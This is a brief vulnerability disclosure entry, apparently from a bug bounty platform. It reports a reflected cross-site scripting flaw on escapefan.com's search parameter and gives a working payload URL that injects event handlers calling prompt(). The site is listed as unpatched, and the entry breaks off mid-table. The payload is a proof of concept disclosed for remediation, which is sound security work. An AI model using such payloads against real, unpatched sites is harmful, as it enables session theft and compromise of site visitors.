escapefan.com XSS vulnerability

Vulnerable URL: http://escapefan.com/?s=aaaaa%22+onfocus%3Dprompt/OPENBUGBOUNTY/+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt/OPENBUGBOUNTY/%3Edemonium%3C%2Ftag%3E=Submit Details: Description| Value ---|--- Patched:| No Latest check for patch:|...